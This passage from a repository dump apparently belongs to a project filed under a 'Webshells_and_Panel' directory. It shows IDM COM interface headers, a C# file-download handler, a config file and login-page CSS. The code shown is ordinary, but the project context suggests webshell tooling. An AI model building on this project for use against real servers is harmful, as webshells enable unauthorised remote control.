__ICIDMLinkTransmitter2_INTERFACE_DEFINED__\r\n#define __ICIDMLinkTransmitter2_INTERFACE_DEFINED__\r\n\r\n/* interface ICIDMLinkTransmitter2 */\r\n/* [unique][helpstring][oleautomation][uuid][object] */ \r\n\r\n\r\nEXTERN_C const IID IID_ICIDMLinkTransmitter2;\r\n\r\n#if defined(__cplusplus) && !defined(CINTERFACE)\r\n    \r\n    MIDL_INTERFACE(\"94D09862-1875-4FC9-B434-91CF25C840A1\")\r\n    ICIDMLinkTransmitter2 : public ICIDMLinkTransmitter\r\n    {\r\n    public:\r\n        virtual HRESULT STDMETHODCALLTYPE SendLinkToIDM2( \r\n            /* [in] */ BSTR bstrUrl,\r\n            /* [in] */ BSTR bstrReferer,\r\n            /* [in] */ BSTR bstrCookies,\r\n            /* [in] */ BSTR bstrData,\r\n            /* [in] */ BSTR bstrUser,\r\n            /* [in] */ BSTR bstrPassword,\r\n            /* [in] */ BSTR bstrLocalPath,\r\n            /* [in] */ BSTR bstrLocalFileName,\r\n            /* [in] */ long lFlags,\r\n            /* [in] */ VARIANT reserved1,\r\n            /* [in] */ VARIANT reserved2) = 0;\r\n        \r\n        virtual HRESULT STDMETHODCALLTYPE SendLinksArray( \r\n            /* [in] */ BSTR location,\r\n            /* [in] */ VARIANT __RPC_FAR *pLinksArray) = 0;\r\n        \r\n    };\r\n    \r\n#else \t/* C style interface */\r\n\r\n    typedef struct ICIDMLinkTransmitter2Vtbl\r\n    {\r\n        BEGIN_INTERFACE\r\n        \r\n        HRESULT ( STDMETHODCALLTYPE __RPC_FAR *QueryInterface )( \r\n            ICIDMLinkTransmitter2 __RPC_FAR * This,\r\n            /* [in] */ REFIID riid,\r\n            /* [iid_is][out] */ void __RPC_FAR *__RPC_FAR *ppvObject);\r\n        \r\n        ULONG ( STDMETHODCALLTYPE __RPC_FAR *AddRef )( \r\n            ICIDMLinkTransmitter2 __RPC_FAR * This);\r\n        \r\n        ULONG ( STDMETHODCALLTYPE __RPC_FAR *Release )( \r\n            ICIDMLinkTransmitter2 __RPC_FAR * This);\r\n        \r\n        HRESULT ( STDMETHODCALLTYPE __RPC_FAR *SendLinkToIDM )( \r\n            ICIDMLinkTransmitter2 __RPC_FAR * This,\r\n            /* [in] */ BSTR bstrUrl,\r\n            /* [in] */ BSTR bstrReferer,\r\n            /* [in] */ BSTR bstrCookies,\r\n            /* [in] */ BSTR bstrData,\r\n            /* [in] */ BSTR bstrUser,\r\n            /* [in] */ BSTR bstrPassword,\r\n            /* [in] */ BSTR bstrLocalPath,\r\n            /* [in] */ BSTR bstrLocalFileName,\r\n            /* [in] */ long lFlags);\r\n        \r\n        HRESULT ( STDMETHODCALLTYPE __RPC_FAR *SendLinkToIDM2 )( \r\n            ICIDMLinkTransmitter2 __RPC_FAR * This,\r\n            /* [in] */ BSTR bstrUrl,\r\n            /* [in] */ BSTR bstrReferer,\r\n            /* [in] */ BSTR bstrCookies,\r\n            /* [in] */ BSTR bstrData,\r\n            /* [in] */ BSTR bstrUser,\r\n            /* [in] */ BSTR bstrPassword,\r\n            /* [in] */ BSTR bstrLocalPath,\r\n            /* [in] */ BSTR bstrLocalFileName,\r\n            /* [in] */ long lFlags,\r\n            /* [in] */ VARIANT reserved1,\r\n            /* [in] */ VARIANT reserved2);\r\n        \r\n        HRESULT ( STDMETHODCALLTYPE __RPC_FAR *SendLinksArray )( \r\n            ICIDMLinkTransmitter2 __RPC_FAR * This,\r\n            /* [in] */ BSTR location,\r\n            /* [in] */ VARIANT __RPC_FAR *pLinksArray);\r\n        \r\n        END_INTERFACE\r\n    } ICIDMLinkTransmitter2Vtbl;\r\n\r\n    interface ICIDMLinkTransmitter2\r\n    {\r\n        CONST_VTBL struct ICIDMLinkTransmitter2Vtbl __RPC_FAR *lpVtbl;\r\n    };\r\n\r\n    \r\n\r\n#ifdef COBJMACROS\r\n\r\n\r\n#define ICIDMLinkTransmitter2_QueryInterface(This,riid,ppvObject)\t\\\r\n    (This)->lpVtbl -> QueryInterface(This,riid,ppvObject)\r\n\r\n#define ICIDMLinkTransmitter2_AddRef(This)\t\\\r\n    (This)->lpVtbl -> AddRef(This)\r\n\r\n#define ICIDMLinkTransmitter2_Release(This)\t\\\r\n    (This)->lpVtbl -> Release(This)\r\n\r\n\r\n#define ICIDMLinkTransmitter2_SendLinkToIDM(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags)\t\\\r\n    (This)->lpVtbl -> SendLinkToIDM(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags)\r\n\r\n\r\n#define ICIDMLinkTransmitter2_SendLinkToIDM2(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags,reserved1,reserved2)\t\\\r\n    (This)->lpVtbl -> SendLinkToIDM2(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags,reserved1,reserved2)\r\n\r\n#define ICIDMLinkTransmitter2_SendLinksArray(This,location,pLinksArray)\t\\\r\n    (This)->lpVtbl -> SendLinksArray(This,location,pLinksArray)\r\n\r\n#endif /* COBJMACROS */\r\n\r\n\r\n#endif \t/* C style interface */\r\n\r\n\r\n\r\nHRESULT STDMETHODCALLTYPE ICIDMLinkTransmitter2_SendLinkToIDM2_Proxy( \r\n    ICIDMLinkTransmitter2 __RPC_FAR * This,\r\n    /* [in] */ BSTR bstrUrl,\r\n    /* [in] */ BSTR bstrReferer,\r\n    /* [in] */ BSTR bstrCookies,\r\n    /* [in] */ BSTR bstrData,\r\n    /* [in] */ BSTR bstrUser,\r\n    /* [in] */ BSTR bstrPassword,\r\n    /* [in] */ BSTR bstrLocalPath,\r\n    /* [in] */ BSTR bstrLocalFileName,\r\n    /* [in] */ long lFlags,\r\n    /* [in] */ VARIANT reserved1,\r\n    /* [in] */ VARIANT reserved2);\r\n\r\n\r\nvoid __RPC_STUB ICIDMLinkTransmitter2_SendLinkToIDM2_Stub(\r\n    IRpcStubBuffer *This,\r\n    IRpcChannelBuffer *_pRpcChannelBuffer,\r\n    PRPC_MESSAGE _pRpcMessage,\r\n    DWORD *_pdwStubPhase);\r\n\r\n\r\nHRESULT STDMETHODCALLTYPE ICIDMLinkTransmitter2_SendLinksArray_Proxy( \r\n    ICIDMLinkTransmitter2 __RPC_FAR * This,\r\n    /* [in] */ BSTR location,\r\n    /* [in] */ VARIANT __RPC_FAR *pLinksArray);\r\n\r\n\r\nvoid __RPC_STUB ICIDMLinkTransmitter2_SendLinksArray_Stub(\r\n    IRpcStubBuffer *This,\r\n    IRpcChannelBuffer *_pRpcChannelBuffer,\r\n    PRPC_MESSAGE _pRpcMessage,\r\n    DWORD *_pdwStubPhase);\r\n\r\n\r\n\r\n#endif \t/* __ICIDMLinkTransmitter2_INTERFACE_DEFINED__ */\r\n\r\n\r\n\r\n#ifndef __IDManLib_LIBRARY_DEFINED__\r\n#define __IDManLib_LIBRARY_DEFINED__\r\n\r\n/* library IDManLib */\r\n/* [helpstring][version][uuid] */ \r\n\r\n\r\nEXTERN_C const IID LIBID_IDManLib;\r\n\r\nEXTERN_C const CLSID CLSID_CIDMLinkTransmitter;\r\n\r\n#ifdef __cplusplus\r\n\r\nclass DECLSPEC_UUID(\"AC746233-E9D3-49CD-862F-068F7B7CCCA4\")\r\nCIDMLinkTransmitter;\r\n#endif\r\n#endif /* __IDManLib_LIBRARY_DEFINED__ */\r\n\r\n/* Additional Prototypes for ALL interfaces */\r\n\r\nunsigned long             __RPC_USER  BSTR_UserSize(     unsigned long __RPC_FAR *, unsigned long            , BSTR __RPC_FAR * ); \r\nunsigned char __RPC_FAR * __RPC_USER  BSTR_UserMarshal(  unsigned long __RPC_FAR *, unsigned char __RPC_FAR *, BSTR __RPC_FAR * ); \r\nunsigned char __RPC_FAR * __RPC_USER  BSTR_UserUnmarshal(unsigned long __RPC_FAR *, unsigned char __RPC_FAR *, BSTR __RPC_FAR * ); \r\nvoid                      __RPC_USER  BSTR_UserFree(     unsigned long __RPC_FAR *, BSTR __RPC_FAR * ); \r\n\r\nunsigned long             __RPC_USER  VARIANT_UserSize(     unsigned long __RPC_FAR *, unsigned long            , VARIANT __RPC_FAR * ); \r\nunsigned char __RPC_FAR * __RPC_USER  VARIANT_UserMarshal(  unsigned long __RPC_FAR *, unsigned char __RPC_FAR *, VARIANT __RPC_FAR * ); \r\nunsigned char __RPC_FAR * __RPC_USER  VARIANT_UserUnmarshal(unsigned long __RPC_FAR *, unsigned char __RPC_FAR *, VARIANT __RPC_FAR * ); \r\nvoid                      __RPC_USER  VARIANT_UserFree(     unsigned long __RPC_FAR *, VARIANT __RPC_FAR * ); \r\n\r\n/* end of Additional Prototypes */\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n\r\n#endif\r\n"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/Idea/IDMCOMAPI/IDManTypeInfo_i.c",
    "content": "/* this file contains the actual definitions of */\r\n/* the IIDs and CLSIDs */\r\n\r\n/* link this file in with the server and any clients */\r\n\r\n\r\n/* File created by MIDL compiler version 5.01.0164 */\r\n/* at Mon Oct 13 07:34:24 2003\r\n */\r\n/* Compiler settings for C:\\users\\sansan\\testVersion\\Downloader\\IDManTypeInfo.idl:\r\n    Os (OptLev=s), W1, Zp8, env=Win32, ms_ext, c_ext\r\n    error checks: allocation ref bounds_check enum stub_data \r\n*/\r\n//@@MIDL_FILE_HEADING(  )\r\n#ifdef __cplusplus\r\nextern \"C\"{\r\n#endif \r\n\r\n\r\n#ifndef __IID_DEFINED__\r\n#define __IID_DEFINED__\r\n\r\ntypedef struct _IID\r\n{\r\n    unsigned long x;\r\n    unsigned short s1;\r\n    unsigned short s2;\r\n    unsigned char  c[8];\r\n} IID;\r\n\r\n#endif // __IID_DEFINED__\r\n\r\n#ifndef CLSID_DEFINED\r\n#define CLSID_DEFINED\r\ntypedef IID CLSID;\r\n#endif // CLSID_DEFINED\r\n\r\nconst IID IID_ICIDMLinkTransmitter = {0x4BD46AAE,0xC51F,0x4BF7,{0x8B,0xC0,0x2E,0x86,0xE3,0x3D,0x18,0x73}};\r\n\r\n\r\nconst IID IID_ICIDMLinkTransmitter2 = {0x94D09862,0x1875,0x4FC9,{0xB4,0x34,0x91,0xCF,0x25,0xC8,0x40,0xA1}};\r\n\r\n\r\nconst IID LIBID_IDManLib = {0xECF21EAB,0x3AA8,0x4355,{0x82,0xBE,0xF7,0x77,0x99,0x00,0x01,0xDD}};\r\n\r\n\r\nconst CLSID CLSID_CIDMLinkTransmitter = {0xAC746233,0xE9D3,0x49CD,{0x86,0x2F,0x06,0x8F,0x7B,0x7C,0xCC,0xA4}};\r\n\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n\r\n"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/Idea/download.cs",
    "content": "﻿public void Download(int id)\r\n{\r\n    // **************************************************\r\n    string strFileName =\r\n        string.Format(\"{0}.zip\", id);\r\n\r\n    string strRootRelativePathName =\r\n        string.Format(\"~/App_Data/Files/{0}\", strFileName);\r\n\r\n    string strPathName =\r\n        Server.MapPath(strRootRelativePathName);\r\n\r\n    if (System.IO.File.Exists(strPathName) == false)\r\n    {\r\n        return;\r\n    }\r\n    // **************************************************\r\n\r\n    System.IO.Stream oStream = null;\r\n\r\n    try\r\n    {\r\n        // Open the file\r\n        oStream =\r\n            new System.IO.FileStream\r\n                (path: strPathName,\r\n                mode: System.IO.FileMode.Open,\r\n                share: System.IO.FileShare.Read,\r\n                access: System.IO.FileAccess.Read);\r\n\r\n        // **************************************************\r\n        Response.Buffer = false;\r\n\r\n        // Setting the unknown [ContentType]\r\n        // will display the saving dialog for the user\r\n        Response.ContentType = \"application/octet-stream\";\r\n\r\n        // With setting the file name,\r\n        // in the saving dialog, user will see\r\n        // the [strFileName] name instead of [download]!\r\n        //Response.AddHeader(\"Content-Disposition\", \"attachment; filename=\" + strFileName);\r\n        Response.AppendHeader(\"Content-Disposition\", \"attachment;size=\" + new System.IO.FileInfo(strPathName).Length + \";filename=\" + strFileName);\r\n\r\n        long lngFileLength = oStream.Length;\r\n\r\n        // Notify user (client) the total file length\r\n        Response.AddHeader(\"Content-Length\", lngFileLength.ToString());\r\n        // **************************************************\r\n\r\n        // Total bytes that should be read\r\n        long lngDataToRead = lngFileLength;\r\n\r\n        // Read the bytes of file\r\n        while (lngDataToRead > 0)\r\n        {\r\n            // The below code is just for testing! So we commented it!\r\n            //System.Threading.Thread.Sleep(200);\r\n\r\n            // Verify that the client is connected or not?\r\n            if (Response.IsClientConnected)\r\n            {\r\n                // 8KB\r\n                int intBufferSize = 8 * 1024;\r\n\r\n                // Create buffer for reading [intBufferSize] bytes from file\r\n                byte[] bytBuffers =\r\n                    new System.Byte[intBufferSize];\r\n\r\n                // Read the data and put it in the buffer.\r\n                int intTheBytesThatReallyHasBeenReadFromTheStream =\r\n                    oStream.Read(buffer: bytBuffers, offset: 0, count: intBufferSize);\r\n\r\n                // Write the data from buffer to the current output stream.\r\n                Response.OutputStream.Write\r\n                    (buffer: bytBuffers, offset: 0,\r\n                    count: intTheBytesThatReallyHasBeenReadFromTheStream);\r\n\r\n                // Flush (Send) the data to output\r\n                // (Don't buffer in server's RAM!)\r\n                Response.Flush();\r\n\r\n                lngDataToRead =\r\n                    lngDataToRead - intTheBytesThatReallyHasBeenReadFromTheStream;\r\n            }\r\n            else\r\n            {\r\n                // Prevent infinite loop if user disconnected!\r\n                lngDataToRead = -1;\r\n            }\r\n        }\r\n    }\r\n    catch { }\r\n    finally\r\n    {\r\n        if (oStream != null)\r\n        {\r\n            //Close the file.\r\n            oStream.Close();\r\n            oStream.Dispose();\r\n            oStream = null;\r\n        }\r\n        Response.Close();\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/bin/Minion.dll.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<!--\r\n  For more information on how to configure your ASP.NET application, please visit\r\n  https://go.microsoft.com/fwlink/?LinkId=169433\r\n  -->\r\n<configuration>\r\n  <system.web>\r\n    <compilation debug=\"true\" targetFramework=\"4.6.1\"/>\r\n    <httpRuntime targetFramework=\"4.6.1\"/>\r\n  </system.web>\r\n</configuration>"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/css/main.css",
    "content": "\r\n\r\n\r\n\r\n/*//////////////////////////////////////////////////////////////////\r\n[ FONT ]*/\r\n\r\n@font-face {\r\n  font-family: Poppins-Regular;\r\n  src: url('../fonts/poppins/Poppins-Regular.ttf'); \r\n}\r\n\r\n@font-face {\r\n  font-family: Poppins-Bold;\r\n  src: url('../fonts/poppins/Poppins-Bold.ttf'); \r\n}\r\n\r\n@font-face {\r\n  font-family: Poppins-Medium;\r\n  src: url('../fonts/poppins/Poppins-Medium.ttf'); \r\n}\r\n\r\n@font-face {\r\n  font-family: Montserrat-Bold;\r\n  src: url('../fonts/montserrat/Montserrat-Bold.ttf'); \r\n}\r\n\r\n/*//////////////////////////////////////////////////////////////////\r\n[ RESTYLE TAG ]*/\r\n\r\n* {\r\n\tmargin: 0px; \r\n\tpadding: 0px; \r\n\tbox-sizing: border-box;\r\n}\r\n\r\nbody, html {\r\n\theight: 100%;\r\n\tfont-family: Poppins-Regular, sans-serif;\r\n}\r\n\r\n/*---------------------------------------------*/\r\na {\r\n\tfont-family: Poppins-Regular;\r\n\tfont-size: 14px;\r\n\tline-height: 1.7;\r\n\tcolor: #666666;\r\n\tmargin: 0px;\r\n\ttransition: all 0.4s;\r\n\t-webkit-transition: all 0.4s;\r\n  -o-transition: all 0.4s;\r\n  -moz-transition: all 0.4s;\r\n}\r\n\r\na:focus {\r\n\toutline: none !important;\r\n}\r\n\r\na:hover {\r\n\ttext-decoration: none;\r\n  color: #57b846;\r\n}\r\n\r\n/*---------------------------------------------*/\r\nh1,h2,h3,h4,h5,h6 {\r\n\tmargin: 0px;\r\n}\r\n\r\np {\r\n\tfont-family: Poppins-Regular;\r\n\tfont-size: 14px;\r\n\tline-height: 1.7;\r\n\tcolor: #666666;\r\n\tmargin: 0px;\r\n}\r\n\r\nul, li {\r\n\tmargin: 0px;\r\n\tlist-style-type: none;\r\n}\r\n\r\n\r\n/*---------------------------------------------*/\r\ninput {\r\n\toutline: none;\r\n\tborder: none;\r\n}\r\n\r\ntextarea {\r\n  outline: none;\r\n  border: none;\r\n}\r\n\r\ntextarea:focus, input:focus {\r\n  border-color: transparent !important;\r\n}\r\n\r\ninput:focus::-webkit-input-placeholder { color:transparent; }\r\ninput:focus:-moz-placeholder { color:transparent; }\r\ninput:focus::-moz-placeholder { color:transparent; }\r\ninput:focus:-ms-input-placeholder { color:transparent; }\r\n\r\ntextarea:focus::-webkit-input-placeholder { color:transparent; }\r\ntextarea:focus:-moz-placeholder { color:transparent; }\r\ntextarea:focus::-moz-placeholder { color:transparent; }\r\ntextarea:focus:-ms-input-placeholder { color:transparent; }\r\n\r\ninput::-webkit-input-placeholder { color: #999999; }\r\ninput:-moz-placeholder { color: #999999; }\r\ninput::-moz-placeholder { color: #999999; }\r\ninput:-ms-input-placeholder { color: #999999; }\r\n\r\ntextarea::-webkit-input-placeholder { color: #999999; }\r\ntextarea:-moz-placeholder { color: #999999; }\r\ntextarea::-moz-placeholder { color: #999999; }\r\ntextarea:-ms-input-placeholder { color: #999999; }\r\n\r\n/*---------------------------------------------*/\r\nbutton {\r\n\toutline: none !important;\r\n\tborder: none;\r\n\tbackground: transparent;\r\n}\r\n\r\nbutton:hover {\r\n\tcursor: pointer;\r\n}\r\n\r\niframe {\r\n\tborder: none !important;\r\n}\r\n\r\n\r\n/*//////////////////////////////////////////////////////////////////\r\n[ Utility ]*/\r\n.txt1 {\r\n  font-family: Poppins-Regular;\r\n  font-size: 13px;\r\n  line-height: 1.5;\r\n  color: #999999;\r\n}\r\n\r\n.txt2 {\r\n  font-family: Poppins-Regular;\r\n  font-size: 13px;\r\n  line-height: 1.5;\r\n  color: #666666;\r\n}\r\n\r\n\r\n/*//////////////////////////////////////////////////////////////////\r\n[ login ]*/\r\n\r\n.limiter {\r\n  width: 100%;\r\n  margin: 0 auto;\r\n}\r\n\r\n.container-login100 {\r\n  width: 100%;  \r\n  min-height: 100vh;\r\n  display: -webkit-box;\r\n  display: -webkit-flex;\r\n  display: -moz-box;\r\n  display: -ms-flexbox;\r\n  display: flex;\r\n  flex-wrap: wrap;\r\n  justify-content: center;\r\n  align-items: center;\r\n  padding: 15px;\r\n  background: #9053c7;\r\n  background: -webkit-linear-gradient(-135deg, #c850c0, #4158d0);\r\n  background: -o-linear-gradient(-135deg, #c850c0, #4158d0);\r\n  background: -moz-linear-gradient(-135deg, #c850c0, #4158d0);\r\n  background: linear-gradient(-135deg, #c850c0, #4158d0);\r\n}\r\n\r\n.wrap-login100 {\r\n  width: 960px;\r\n  background: #fff;\r\n  border-radius: 10px;\r\n  overflow: hidden;\r\n\r\n  display: -webkit-box;\r\n  display: -webkit-flex;\r\n  display: -moz-box;\r\n  display: -ms-flexbox;\r\n  display: flex;\r\n  flex-wrap: wrap;\r\n  justify-content: space-between;\r\n  padding: 85px 130px 33px 95px;\r\n}\r\n\r\n/*------------------------------------------------------------------\r\n[  ]*/\r\n.login100-pic {\r\n  width: 316px;\r\n}\r\n\r\n.login100-pic img {\r\n  max-width: 100%;\r\n}\r\n\r\n\r\n/*------------------------------------------------------------------\r\n[  ]*/\r\n.login100-form {\r\n  width: 290px;\r\n}\r\n\r\n.login100-form-title {\r\n  font-family: Poppins-Bold;\r\n  font-size: 24px;\r\n  color: #333333;\r\n  line-height: 1.2;\r\n  text-align: center;\r\n\r\n  width: 100%;\r\n  display: block;\r\n  padding-bottom: 35px;\r\n}\r\n\r\n\r\n/*---------------------------------------------*/\r\n.wrap-input100 {\r\n  position: relative;\r\n  width: 100%;\r\n  z-index: 1;\r\n  margin-bottom: 10px;\r\n}\r\n\r\n.input100 {\r\n  font-family: Poppins-Medium;\r\n  font-size: 15px;\r\n  line-height: 1.5;\r\n  color: #666666;\r\n\r\n  display: block;\r\n  width: 100%;\r\n  background: #e6e6e6;\r\n  height: 50px;\r\n  border-radius: 25px;\r\n  padding: 0 30px 0 68px;\r\n}\r\n\r\n\r\n/*------------------------------------------------------------------\r\n[ Focus ]*/\r\n.focus-input100 {\r\n  display: block;\r\n  position: absolute;\r\n  border-radius: 25px;\r\n  bottom: 0;\r\n  left: 0;\r\n  z-index: -1;\r\n  width: 100%;\r\n  height: 100%;\r\n  box-shadow: 0px 0px 0px 0px;\r\n  color: rgba(87,184,70, 0.8);\r\n}\r\n\r\n.input100:focus + .focus-input100 {\r\n  -webkit-animation: anim-shadow 0.5s ease-in-out forwards;\r\n  animation: anim-shadow 0.5s ease-in-out forwards;\r\n}\r\n\r\n@-webkit-keyframes anim-shadow {\r\n  to {\r\n    box-shadow: 0px 0px 70px 25px;\r\n    opacity: 0;\r\n  }\r\n}\r\n\r\n@keyframes anim-shadow {\r\n  to {\r\n    box-shadow: 0px 0px 70px 25px;\r\n    opacity: 0;\r\n  }\r\n}\r\n\r\n.symbol-input100 {\r\n  font-size: 15px;\r\n\r\n  display: -webkit-box;\r\n  display: -webkit-flex;\r\n  display: -moz-box;\r\n  display: -ms-flexbox;\r\n  display: flex;\r\n  align-items: center;\r\n  position: absolute;\r\n  border-radius: 25px;\r\n  bottom: 0;\r\n  left: 0;\r\n  width: 100%;\r\n  height: 100%;\r\n  padding-left: 35px;\r\n  pointer-events: none;\r\n  color: #666666;\r\n\r\n  -webkit-transition: all 0.4s;\r\n  -o-transition: all 0.4s;\r\n  -moz-transition: all 0.4s;\r\n  transition: all 0.4s;\r\n}\r\n\r\n.input100:focus + .focus-input100 + .symbol-input100 {\r\n  color: #57b846;\r\n  padding-left: 28px;\r\n}\r\n\r\n/*------------------------------------------------------------------\r\n[ Button ]*/\r\n.container-login100-form-btn {\r\n  width: 100%;\r\n  display: -webkit-box;\r\n  display: -webkit-flex;\r\n  display: -moz-box;\r\n  display: -ms-flexbox;\r\n  display: flex;\r\n  flex-wrap: wrap;\r\n  justify-content: center;\r\n}\r\n\r\n.login100-form-btn {\r\n  font-family: Montserrat-Bold;\r\n  font-size: 15px;\r\n  line-height: 1.5;\r\n  color: #fff;\r\n  text-transform: uppercase;\r\n\r\n  width: 100%;\r\n  height: 50px;\r\n  border-radius: 25px;\r\n  background: #57b846;\r\n  display: -webkit-box;\r\n  display: -webkit-flex;\r\n  display: -moz-box;\r\n  display: -ms-flexbox;\r\n  display: flex;\r\n  justify-content: center;\r\n  align-items: center;\r\n  padding: 0 25px;\r\n\r\n  -webkit-transition: all 0.4s;\r\n  -o-transition: all 0.4s;\r\n  -moz-transition: all 0.4s;\r\n  transition: all 0.4s;\r\n}\r\n\r\n.login100-form-btn:hover {\r\n  background: #333333;\r\n}\r\n\r\n\r\n\r\n/*------------------------------------------------------------------\r\n[ Responsive ]*/\r\n\r\n\r\n\r\n@media (max-width: 992px) {\r\n  .wrap-login100 {\r\n    padding: 177px 90px 33px 85px;\r\n  }\r\n\r\n  .login100-pic {\r\n    width: 35%;\r\n  }\r\n\r\n  .login100-form {\r\n    width: 50%;\r\n  }\r\n}\r\n\r\n@media (max-width: 768px) {\r\n  .wrap-login100 {\r\n    padding: 100px 80px 33px 80px;\r\n  }\r\n\r\n  .login100-pic {\r\n    display: none;\r\n  }\r\n\r\n  .login100-form {\r\n    width: 100%;\r\n  }\r\n}\r\n\r\n@media (max-width: 576px) {\r\n  .wrap-login100 {\r\n    padding: 100px 15px 33px 15px;\r\n  }\r\n}\r\n\r\n\r\n/*------------------------------------------------------------------\r\n[ Alert validate ]*/\r\n\r\n.validate-input {\r\n  position: relative;\r\n}\r\n\r\n.alert-validate::before {\r\n  content: attr(data-validate);\r\n  position: absolute;\r\n  max-width: 70%;\r\n  background-color: white;\r\n  border: 1px solid #c80000;\r\n  border-radius: 13px;\r\n  padding: 4px 25px 4px 10px;\r\n  top: 50%;\r\n  -webkit-transform: translateY(-50%);\r\n  -moz-transform: translateY(-50%);\r\n  -ms-transform: translateY(-50%);\r\n  -o-transform: translateY(-50%);\r\n  transform: translateY(-50%);\r\n  right: 8px;\r\n  pointer-events: none;\r\n\r\n  font-family: Poppins-Medium;\r\n  color: #c80000;\r\n  font-size: 13px;\r\n  line-height: 1.4;\r\n  text-align: left;\r\n\r\n  visibility: hidden;\r\n  opacity: 0;\r\n\r\n  -webkit-transition: opacity 0.4s;\r\n  -o-transition: opacity 0.4s;\r\n  -moz-transition: opacity 0.4s;\r\n  transition: opacity 0.4s;\r\n}\r\n\r\n.alert-validate::after {\r\n  content: \"\\f06a\";\r\n  font-family: FontAwesome;\r\n  display: block;\r\n  position: absolute;\r\n  color: #c80000;\r\n  font-size: 15px;\r\n  top: 50%;\r\n  -webkit-transform: translateY(-50%);\r\n  -moz-transform: translateY(-50%);\r\n  -ms-transform: translateY(-50%);\r\n  -o-transform: translateY(-50%);\r\n  transform: translateY(-50%);\r\n  right: 13px;\r\n}\r\n\r\n.alert-validate:hover:before {\r\n  visibility: visible;\r\n  opacity: 1;\r\n}\r\n\r\n@media (max-width: 992px) {\r\n  .alert-validate::before {\r\n    visibility: visible;\r\n    opacity: 1;\r\n  }\r\n}\r\n\r\n.foxicon {\r\n    width: 157px;\r\n    height: 156px;\r\n    background-image: url(../images/foxicon.png);\r\n    /* position: absolute; */\r\n    /* top: 0; */\r\n    margin-left: 72px;\r\n    margin-bottom: 30px;\r\n    margin-top: -50px;\r\n}"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/css/util.css",
    "content": "/*[ FONT SIZE ]\r\n///////////////////////////////////////////////////////////\r\n*/\r\n.fs-1 {font-size: 1px;}\r\n.fs-2 {font-size: 2px;}\r\n.fs-3 {font-size: 3px;}\r\n.fs-4 {font-size: 4px;}\r\n.fs-5 {font-size: 5px;}\r\n.fs-6 {font-size: 6px;}\r\n.fs-7 {font-size: 7px;}\r\n.fs-8 {font-size: 8px;}\r\n.fs-9 {font-size: 9px;}\r\n.fs-10 {font-size: 10px;}\r\n.fs-11 {font-size: 11px;}\r\n.fs-12 {font-size: 12px;}\r\n.fs-13 {font-size: 13px;}\r\n.fs-14 {font-size: 14px;}\r\n.fs-15 {font-size: 15px;}\r\n.fs-16 {font-size: 16px;}\r\n.fs-17 {font-size: 17px;}\r\n.fs-18 {font-size: 18px;}\r\n.fs-19 {font-size: 19px;}\r\n.fs-20 {font-size: 20px;}\r\n.fs-21 {font-size: 21px;}\r\n.fs-22 {font-size: 22px;}\r\n.fs-23 {font-size: 23px;}\r\n.fs-24 {font-size: 24px;}\r\n.fs-25 {font-size: 25px;}\r\n.fs-26 {font-size: 26px;}\r\n.fs-27 {font-size: 27px;}\r\n.fs-28 {font-size: 28px;}\r\n.fs-29 {font-size: 29px;}\r\n.fs-30 {font-size: 30px;}\r\n.fs-31 {font-size: 31px;}\r\n.fs-32 {font-size: 32px;}\r\n.fs-33 {font-size: 33px;}\r\n.fs-34 {font-size: 34px;}\r\n.fs-35 {font-size: 35px;}\r\n.fs-36 {font-size: 36px;}\r\n.fs-37 {font-size: 37px;}\r\n.fs-38 {font-size: 38px;}\r\n.fs-39 {font-size: 39px;}\r\n.fs-40 {font-size: 40px;}\r\n.fs-41 {font-size: 41px;}\r\n.fs-42 {font-size: 42px;}\r\n.fs-43 {font-size: 43px;}\r\n.fs-44 {font-size: 44px;}\r\n.fs-45 {font-size: 45px;}\r\n.fs-46 {font-size: 46px;}\r\n.fs-47 {font-size: 47px;}\r\n.fs-48 {font-size: 48px;}\r\n.fs-49 {font-size: 49px;}\r\n.fs-50 {font-size: 50px;}\r\n.fs-51 {font-size: 51px;}\r\n.fs-52 {font-size: 52px;}\r\n.fs-53 {font-size: 53px;}\r\n.fs-54 {font-size: 54px;}\r\n.fs-55 {font-size: 55px;}\r\n.fs-56 {font-size: 56px;}\r\n.fs-57 {font-size: 57px;}\r\n.fs-58 {font-size: 58px;}\r\n.fs-59 {font-size: 59px;}\r\n.fs-60 {font-size: 60px;}\r\n.fs-61 {font-size: 61px;}\r\n.fs-62 {font-size: 62px;}\r\n.fs-63 {font-size: 63px;}\r\n.fs-64 {font-size: 64px;}\r\n.fs-65 {font-size: 65px;}\r\n.fs-66 {font-size: 66px;}\r\n.fs-67 {font-size: 67px;}\r\n.fs-68 {font-size: 68px;}\r\n.fs-69 {font-size: 69px;}\r\n.fs-70 {font-size: 70px;}\r\n.fs-71 {font-size: 71px;}\r\n.fs-72 {font-size: 72px;}\r\n.fs-73 {font-size: 73px;}\r\n.fs-74 {font-size: 74px;}\r\n.fs-75 {font-size: 75px;}\r\n.fs-76 {font-size: 76px;}\r\n.fs-77 {font-size: 77px;}\r\n.fs-78 {font-size: 78px;}\r\n.fs-79 {font-size: 79px;}\r\n.fs-80 {font-size: 80px;}\r\n.fs-81 {font-size: 81px;}\r\n.fs-82 {font-size: 82px;}\r\n.fs-83 {font-size: 83px;}\r\n.fs-84 {font-size: 84px;}\r\n.fs-85 {font-size: 85px;}\r\n.fs-86 {font-size: 86px;}\r\n.fs-87 {font-size: 87px;}\r\n.fs-88 {font-size: 88px;}\r\n.fs-89 {font-size: 89px;}\r\n.fs-90 {font-size: 90px;}\r\n.fs-91 {font-size: 91px;}\r\n.fs-92 {font-size: 92px;}\r\n.fs-93 {font-size: 93px;}\r\n.fs-94 {font-size: 94px;}\r\n.fs-95 {font-size: 95px;}\r\n.fs-96 {font-size: 